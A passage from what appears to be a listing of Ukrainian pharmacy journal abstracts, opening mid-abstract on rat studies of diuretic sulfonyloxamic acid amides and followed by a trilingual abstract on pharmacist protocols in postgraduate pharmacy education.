видільну функцію нирок проводили на білих щурах-самцях за методом Є.Б.Берхіна, використовували серії тварин по 7 щурів у кожній групі. Активність сполук, які досліджувались, порівнювали з активністю добре відомих лікарських засобів – гіпотіазиду, фуросеміду та адіурекрину. В результаті проведених досліджень виявлені речовини, які викликають збільшення діурезу, що перевищує по діуретичній активності еталонний препарат порівняння – гіпотіазид. Ряд сполук викликав зменшення діурезу у тварин. На діуретичну активність сполук, що вивчались, впливала як хімічна особливість замісника, так і його розташування. Заміщені аміди аренсульфонілоксамінових кислот є перспективною групою сполук для подальшого фармакологічного вивчення з метою створення на їх основі лікарських препаратів з діуретичними властивостями
Належна фармацевтична практика: імплементація протоколів провізора / фармацевта у післядипломну освіту спеціалістів фармації
Get PDFThe article deals with the current state of implementation of the protocols of provisor/pharmacists in practical activities of of pharmacy specialists as an important component of good pharmacy practice in Ukraine. The authors summarize the experience of short cycles of thematic improvement in the form of workshops and seminars as a promising form of continuing professional education, most adapted to modern conditions of existence of the pharmaceutical sector, the health care industry. The successful combination of initiatives of governmental regulatory bodies, in particular the Ministry of Health, with the latest educational technologies, leading specialists practitioners, teachers can become real method to improving the quality of pharmaceutical care.Статья освещает современное состояние внедрения протоколов провизора/фармацевта в практическую деятельность аптечных учреждений как важной составляющей надлежащей фармацевтической практики в Украине. Авторами обобщен опыт проведения краткосрочных циклов тематического усовершенствования в форме научно-практических семинаров как перспективной формы непрерывного профессионального образования, наиболее адаптированной для современных условий существования фармацевтического сектора отрасли здравоохранения. Удачное сочетание инициативы государственных регуляторных органов, в частности Министерства здравоохранения Украины, с новейшими образовательными технологиями, привлечением ведущих специалистов-практиков, педагогов может стать реальным путем повышения качества фармацевтической помощи населению.Стаття висвітлює сучасний стан впровадження протоколів провізора/фармацевта у практичну діяльність аптечних закладів як важливої складової належної фармацевтичної практики в Україні. Авторами узагальнено досвід проведення короткотривалих циклів тематичного удосконалення у формі науково-практичних семінарів як перспективної форми безперервної професійної освіти, найбільш адаптованої для сучасних умов існування фармацевтичного сектору галузі охорони здоров’я. Вдале поєднання ініціативи державних регуляторних органів, зокрема міністерства охорони здоров’я України з новітніми освітніми технологіями, залученням провідних фахівців-практиків, освітян може стати реальним шляхом підвищення якості фармацевтичної допомоги населенню